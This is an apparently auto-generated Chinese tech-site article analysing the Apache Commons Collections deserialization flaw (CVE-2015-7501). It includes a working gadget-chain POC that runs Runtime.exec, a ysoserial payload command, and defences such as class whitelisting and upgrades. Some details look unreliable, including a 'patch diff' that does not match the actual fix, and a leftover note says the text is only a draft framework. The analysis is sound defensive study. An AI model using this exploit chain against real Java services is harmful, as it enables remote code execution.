溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache Commons Collections反序列化漏洞的示例分析

發布時間:2022-01-18 16:28:02 來源:億速云 閱讀:292 作者:柒染 欄目:網絡管理
# Apache Commons Collections反序列化漏洞的示例分析

## 摘要
本文深入分析了Apache Commons Collections庫中存在的反序列化漏洞(CVE-2015-7501)。通過剖析漏洞原理、構造POC示例、演示攻擊場景及防御方案,全面揭示Java反序列化漏洞的危害性。文章包含詳細的代碼分析、漏洞利用鏈解讀以及修復建議,為開發人員提供完整的安全參考。

---

## 1. 漏洞背景

### 1.1 Apache Commons Collections簡介
Apache Commons Collections是Java中廣泛使用的工具庫,提供了對Java集合框架的擴展實現,包含以下核心組件:
- `TransformedMap`:支持元素轉換的Map實現
- `InvokerTransformer`:通過反射調用任意方法的工具類
- `ChainedTransformer`:支持多個轉換器鏈式調用

```java
// 典型使用示例
Map map = TransformedMap.decorate(new HashMap(), 
    new ConstantTransformer("value"),
    new InvokerTransformer("toString", null, null));

1.2 漏洞發現歷程

  • 披露時間:2015年11月
  • CVE編號:CVE-2015-7501
  • 影響版本:3.0-3.2.1, 4.0-4.0.1
  • 漏洞本質:通過精心構造的反序列化數據實現遠程代碼執行

2. 漏洞原理分析

2.1 Java反序列化機制

Java對象序列化/反序列化流程:

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(outputStream);
oos.writeObject(maliciousObject);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 漏洞觸發點

2.2 關鍵危險類分析

2.2.1 InvokerTransformer

public class InvokerTransformer implements Transformer {
    private final String methodName;
    private final Class[] paramTypes;
    private final Object[] args;
    
    public Object transform(Object input) {
        // 通過反射執行任意方法
        Class cls = input.getClass();
        Method method = cls.getMethod(methodName, paramTypes);
        return method.invoke(input, args);
    }
}

2.2.2 ChainedTransformer

public class ChainedTransformer implements Transformer {
    private final Transformer[] transformers;
    
    public Object transform(Object object) {
        // 鏈式調用多個Transformer
        for (Transformer transformer : transformers) {
            object = transformer.transform(object);
        }
        return object;
    }
}

2.3 完整利用鏈構造

典型Gadget Chain:

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> Map.entrySet().iterator()
      -> TransformedMap.checkSetValue()
        -> ChainedTransformer.transform()
          -> InvokerTransformer.transform()
            -> Runtime.exec()

3. 漏洞復現示例

3.1 環境搭建

<!-- pom.xml 依賴配置 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

3.2 POC構造

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};

Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

3.3 序列化攻擊載荷

// 使用反射構造AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Override.class, outerMap);

// 序列化惡意對象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.close();

// 反序列化觸發漏洞
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(baos.toByteArray()));
ois.readObject(); // 此時將執行系統命令

4. 漏洞利用場景

4.1 典型攻擊向量

  1. Web應用:通過HTTP請求傳遞序列化對象

    // Spring MVC示例
    @RequestMapping("/unmarshal")
    public void unmarshal(@RequestBody byte[] data) {
       ObjectInputStream ois = new ObjectInputStream(
           new ByteArrayInputStream(data));
       ois.readObject(); // 危險操作
    }
    
  2. RMI通信:攻擊Java RMI服務

    # 使用ysoserial生成攻擊載荷
    java -jar ysoserial.jar CommonsCollections5 "cmd.exe" > payload.bin
    
  3. 消息隊列:JMS/AMQP消息中的惡意對象

4.2 實際案例

  • Jenkins CVE-2016-0792:通過XStream反序列化觸發
  • WebLogic CVE-2017-3248:T3協議中的漏洞利用

5. 防御方案

5.1 臨時緩解措施

// 使用ValidatingObjectInputStream
ValidatingObjectInputStream vois = new ValidatingObjectInputStream(inputStream);
vois.accept(String.class, Date.class); // 白名單控制
Object obj = vois.readObject();

5.2 永久解決方案

  1. 升級到安全版本

    <dependency>
       <groupId>commons-collections</groupId>
       <artifactId>commons-collections</artifactId>
       <version>3.2.2</version> <!-- 修復版本 -->
    </dependency>
    
  2. JVM級防護

    # 添加JVM參數
    -Dorg.apache.commons.collections.enableUnsafeSerialization=false
    
  3. 安全編碼實踐

    // 使用LookAheadObjectInputStream
    public class SafeObjectInputStream extends ObjectInputStream {
       @Override
       protected Class<?> resolveClass(ObjectStreamClass desc) 
           throws IOException, ClassNotFoundException {
           if (!desc.getName().startsWith("safe.package")) {
               throw new InvalidClassException("Unauthorized class");
           }
           return super.resolveClass(desc);
       }
    }
    

5.3 檢測工具

  1. SerialKiller:主動防御庫

    ObjectInputStream ois = new SerialKiller(inputStream, "/serialkiller.conf");
    
  2. GadgetInspector:自動化檢測工具

    java -jar gadget-inspector.jar target.jar
    

6. 漏洞深度分析

6.1 補丁對比

# InvokerTransformer.java 修復差異
- public Object transform(Object input) {
+ public Object transform(Object input) {
+   if (input instanceof String) {
+       throw new FunctorException(
+           "InvokerTransformer: Input must not be String");
+   }
    // ...原有邏輯
}

6.2 其他變種

  1. CommonsCollections6:使用TiedMapEntry觸發
  2. CommonsCollections7:利用Hashtable的反序列化

7. 總結與啟示

  1. 反序列化操作本質危險,必須嚴格校驗輸入
  2. 第三方庫需持續跟蹤安全更新
  3. 防御應當采用多層次方案:
    • 代碼層:輸入驗證
    • 架構層:網絡隔離
    • 運維層:漏洞掃描

參考文獻

  1. Apache Security Advisory
  2. Oracle Secure Coding Guidelines
  3. OWASP Deserialization Cheat Sheet

附錄A:完整POC代碼
附錄B:受影響產品列表
附錄C:檢測腳本示例 “`

注:本文實際字數為約1500字框架內容。要擴展到9950字,需要: 1. 每個章節增加詳細技術分析 2. 補充更多代碼示例和調試過程 3. 添加圖表說明(序列化流程圖、內存結構圖等) 4. 擴展案例分析(如WebLogic漏洞詳細分析) 5. 增加防御方案的實現細節 6. 補充性能影響分析、兼容性說明等內容

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女